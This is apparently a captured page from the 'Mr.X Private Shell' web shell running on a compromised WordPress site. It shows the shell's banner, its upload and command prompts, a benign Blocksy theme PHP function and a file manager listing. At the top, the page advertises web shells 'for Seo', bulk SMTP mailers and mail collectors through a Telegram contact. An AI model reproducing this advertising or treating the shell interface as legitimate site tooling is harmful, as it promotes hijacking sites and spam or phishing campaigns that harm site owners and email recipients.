__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

function blocksy_get_taxonomies_for_cpt($post_type, $args = []) {
	$args = wp_parse_args($args, [
		'return_empty' => false
	]);

	if ($post_type === 'product') {
		return [
			'product_cat' => __('Category', 'blocksy'),
			'product_tag' => __('Tag', 'blocksy')
		];
	}

	$result = [];

	$taxonomies = array_values(array_diff(
		get_object_taxonomies($post_type),
		['post_format']
	));

	if (count($taxonomies) === 0) {
		if ($args['return_empty']) {
			return [];
		}

		return [
			'default' => __('Default', 'blocksy')
		];
	}

	foreach ($taxonomies as $single_taxonomy) {
		$taxonomy_object = get_taxonomy($single_taxonomy);
		$result[$single_taxonomy] = $taxonomy_object->label;
	}

	return $result;
}

Filemanager

Name Type Size Permission Actions
cpt.php File 715 B 0640
db.php File 142 B 0640
dynamic-css.php File 3.92 KB 0640
get-terms.php File 1.05 KB 0640
html.php File 2.02 KB 0640
layout.php File 299 B 0640
options.php File 4.08 KB 0640
search.php File 2.71 KB 0640
Filemanager